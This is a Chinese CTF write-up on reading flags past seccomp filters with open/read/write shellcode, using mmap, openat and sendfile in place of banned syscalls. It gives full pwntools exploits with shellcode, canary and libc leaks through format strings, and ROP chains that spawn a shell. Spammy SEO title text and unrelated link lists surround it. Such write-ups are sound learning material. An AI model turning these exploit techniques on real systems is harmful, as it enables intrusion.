当前位置: 首页 > news >正文

怎样做才能发布你的网站18款禁用网站app直播

怎样做才能发布你的网站,18款禁用网站app直播,济南建设工程交易网官网,企业网站开发使用方法经典ORW: 例题(极客大挑战 2019 Not Bad): 这里使用mmap函数创造了一个内存映射区域 从地址0x123000开始,大小位0x1000 权限为可写可执行(可读0x1,可写0x2,可执行0x3)…

经典ORW:

例题(极客大挑战 2019 Not Bad):

这里使用mmap函数创造了一个内存映射区域

从地址0x123000开始,大小位0x1000

权限为可写可执行(可读0x1,可写0x2,可执行0x3)

设置为私有映射(MAP_PRIVATE)和匿名映射(MAP_ANONYMOUS

常见的标志的值:

  • MAP_SHARED:1
  • MAP_PRIVATE:2
  • MAP_ANONYMOUS:0x20 (32)
  • MAP_FIXED:0x10 (16)
  • MAP_LOCKED:0x2000 (8192)
  • MAP_NORESERVE:0x4000 (16384)

将要映射的文件描述符设为-1,表示不关联任何文件

剩下的0指的就是偏移量了,没有偏移

这里首先初始化将所有系统调用禁用,并且后面使用seccomp_rule_add函数添加了可使用的系统调用。

根据64位系统调用号,分别是:

read:系统调用号为0

write:系统调用号为1

open:系统调用号为2

exit:系统调用号为60

因此系统调用exceve就没法用了。

解题思路:

我尝试在栈上构造shellcode,但是始终因为字节大小稍微大一点没法进行。所以只能将shellcode写入mmap所创建的空间中了,正好此空间可写可执行。

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
#p=process('./bad')
p=remote('node5.buuoj.cn',26264)
jmprsp=0x400A01
mmap=0x123000readmmap=asm(shellcraft.read(0,mmap,100))
callmmap=asm('''
mov rax,0x123000
call rax
''')
moversp=asm('''
sub rsp,0x30
call rsp
''')
payload=readmmap+callmmap
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmprsp)+moversp
p.sendlineafter(b'have fun!',payload)opens=asm(shellcraft.open('./flag'))
reads=asm(shellcraft.read(3,mmap,100))
writes=asm(shellcraft.write(1,mmap,100))
payload=opens+reads+writes
p.sendline(payload)p.interactive()

这里来解释一下部分exp

补充点1:reads=asm(shellcraft.read(3,mmap,100))这里为什么填3而不是0?

答:这个是文件描述符的知识点,在linux中系统会默认设置0,1,2三个文件描述符,而这三个文件描述符代表的分别是标准输入(就是我们从显示器输入的),标准输出,标准错误输出。在我们没有关闭任何一个文件描述符时,我们再打开一个文件,那就会使文件描述符3指向那个文件,以此类推。这里我们打开了flag,所以flag的文件描述符为3。当然为了省事,也可以写成reads=asm(shellcraft.read('rax',mmap,100))

补充点2:在写汇编代码时记得使用context标注系统位,比如64位。

补充点3:opens=asm(shellcraft.open('./flag'))在远程中要写./flag而不是仅仅flag而已。

禁用read:

用mmap代替read:

例题(VNCTF2024 shellcode_master):

在sandbox函数中,函数先使用了seccomp_init初始化,允许了所有系统调用,再用seccomp_rule_add来禁用掉了部分系统调用,其中包括execve和read

seccomp_init函数可以进行系统调用全禁用和全允许初始化

seccomp_rule_add函数可以运行或禁用部分系统调用

题目很明显地提示要使用shellcode,我们可以使用两种方式去编写shellcode

自己编写shellcode:

from pwn import*
context(arch='amd64',os='linux',log_level='debug')
p=process('./shellcode')shellcode='''
push 0
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall
mov rdi,0x10000
mov rsi,0x100
mov rdx,1
mov rcx,1
mov r8,rax
mov r9,0
mov rax,9
syscall
mov rdi,1
mov rsi,0x10000
mov rdx,0x100
mov rax,1
syscall
'''
shellcode=asm(shellcode)
print(len(shellcode))
p.sendlineafter(b'show me your power',shellcode)
p.interactive()

用pwntools自带的shellcraft编写shellcode:

from pwn import*
context(arch='amd64',os='linux',log_level='debug')
p=process('./shellcode')shellcode=asm(shellcraft.open('flag'))
shellcode+=asm(shellcraft.mmap(0x10000,0x100,1,1,'eax',0))
shellcode+=asm(shellcraft.write(1,0x10000,0x100))
p.sendlineafter(b'show me your power',shellcode)
p.interactive()

补充点1:mmap的初始地址是进程地址,在题目中mmap的初始地址需页对齐,即需为0x1000(4kb)的整数倍。即使在系统调用mmap那里没有页对齐系统也会自动对齐,只是当我们在mmap那边对齐之后,用write会方便一点。

补充点2:即使我们mmap的起始地址是0x1000,程序也会将文件内容读取到0x10000地址。

禁用open:

用openat代替open:

例题(NKCTF2024 Maimai查分器):

完整exp(远程打不通,本地可以):

from pwn import*
context(log_level='debug')
p=process('./maimai')
#p=remote('node.nkctf.yuzhian.com.cn',37717)p.sendlineafter(b'Select a option:',b'1')
p.sendlineafter(b'Input chart level and rank.',b'14')
p.sendline(b'SSS+')
for i in range(49):p.sendline(b'14')p.sendline(b'SSS+')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%33$p'
p.sendlineafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
libc_start_main128=int((b'0x'+p.recv(12)),16)
print(libc_start_main128)
libc_start_main=libc_start_main128-128
libc=ELF('./libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
pop_rdi=libcbase+0x2a3e5
ret=libcbase+0x29139
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
p.sendlineafter(b'Can you teach me how to play maimai?',b'aa')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%7$p'
p.sendafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
canary=int((b'0x'+p.recv(16)),16)
print(hex(canary))
payload=b'a'*0x28+p64(canary)+b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter(b'Can you teach me how to play maimai?',payload)p.interactive()

但是在比赛的时候,getshell之后根本没权限打开flag,所以只能考虑用orw直接读文件。

完整exp:

from pwn import*
context(log_level='debug')
p=process('./maimai')
#p=remote('node.nkctf.yuzhian.com.cn',37717)p.sendlineafter(b'Select a option:',b'1')
p.sendlineafter(b'Input chart level and rank.',b'14')
p.sendline(b'SSS+')
for i in range(49):p.sendline(b'14')p.sendline(b'SSS+')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%33$p'
p.sendlineafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
libc_start_main128=int((b'0x'+p.recv(12)),16)
print(libc_start_main128)
libc_start_main=libc_start_main128-128
libc=ELF('./libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
pop_rdi=libcbase+0x2a3e5
pop_rsi=libcbase+0x2be51
pop_rdx_r12=libcbase+0x11f2e7
ret=libcbase+0x29139
system=libcbase+libc.sym['system']
reads=libcbase+libc.sym['read']
binsh=libcbase+next(libc.search(b'/bin/sh'))
p.sendlineafter(b'Can you teach me how to play maimai?',b'aa')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%7$p%8$p'
p.sendafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
canary=int((b'0x'+p.recv(16)),16)
print(hex(canary))
p.recvuntil(b'0x')
onestack=int((b'0x'+p.recv(12)),16)
print(hex(onestack))
payload=b'/flag\x00'
payload=payload.ljust(0x28,b'a')
payload+=p64(canary)+b'a'*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(onestack+0x8)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)
p.sendlineafter(b'Can you teach me how to play maimai?',payload)
print(len(payload))
openat=libcbase+libc.sym['openat']
puts=libcbase+libc.sym['puts']
payload=p64(pop_rsi)+p64(onestack-0x70)+p64(pop_rdx_r12)+p64(0)*2+p64(openat)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(onestack-0x70)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)
payload+=p64(pop_rdi)+p64(onestack-0x70)+p64(puts)
p.sendline(payload)
p.interactive()

#补充点1:

payload+=p64(canary)+b'a'*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(onestack+0x8)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)

这里的的onestack+0x8是为了在之前构造的ROP链里接上新输入的ROP链

#补充点2:0x80的大小不足以读文件,所以要再次构建read函数,设置大的输入字节

#补充点3:openat函数必须要填入三个参数,

  1. 第一个参数:文件描述符,用于指定路径解析的起点。
  2. 第二个参数:文件路径名,要打开的文件的路径。
  3. 第三个参数:标志位,用于指定文件的打开方式和权限等信息。

 这里文件描述符设置为0是表示在当前目录解析路径,标志位设置为0是用默认方式打开文件

 

禁用write:

用sendfile代替write:

例题(XYCTF2024 invisible_flag):

这里禁用了很多关键函数,只能全代替了。

用openat代替open,用mmap代替read,用sendfile代替write

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
p=process('./vuln')
p=remote('xyctf.top',44849)shellcode=shellcraft.openat(0,'/flag',0)
shellcode+=shellcraft.mmap(0x10000,0x100,1,1,'eax',0)
shellcode+=shellcraft.sendfile(1,3,0,0x100)
shellcode=asm(shellcode)
p.sendlineafter(b'show your magic again',shellcode)
p.interactive()

持续更新

http://www.ds6.com.cn/news/1825.html

相关文章:

  • 昆明做凡科网站百度在线识别图片
  • 做暖暖小视频网站广州权威发布
  • 深圳罗湖高端网站建设长沙seo优化推广
  • 个人求职网站怎么做百度网盘手机app下载安装
  • wordpress 私人日记优化设计七年级下册数学答案
  • 贵州住房与城乡建设部网站互联网营销方式有哪些
  • 淄博营销网站建设公司百度网页版网址
  • 滨州做网站的电话优化是什么意思
  • 潍坊网站建设 马seo关键词排名优化案例
  • 大型b2b网站建设西安seo网站优化
  • 中小企业网站建设公司河北网站优化公司
  • 想做一个个人网站怎么做视频号链接怎么获取
  • 网站 模板 php永久免费自动建站
  • php网站开发技术论文重庆黄埔seo整站优化
  • 没有网站可以做落地页网络营销课程总结
  • 用discuz做交友网站互动网站建设
  • 南京网站建设王道下拉強网络营销题库案例题
  • 给女友惊喜做网站今天上海最新新闻事件
  • 贵阳网站开发公司新闻发稿软文推广
  • 网络推广网站培训班黑科技引流推广神器免费
  • 一流的上海网站建设公高州新闻 头条 今天
  • 怎么做网站手机版营销策划咨询机构
  • 复制浏览器打开下载app西昌seo快速排名
  • 医学关键词 是哪个网站做免费刷seo
  • 网站描述样本aso投放平台
  • 响应式网站有什么弊端樱桃bt官网
  • 文化网站源码杭州网站seo优化
  • 上海免费网站建站模板关键词林俊杰mp3在线听
  • 沈阳做网站有名公司百度推广公司电话
  • 网站建设及使用百度商城官网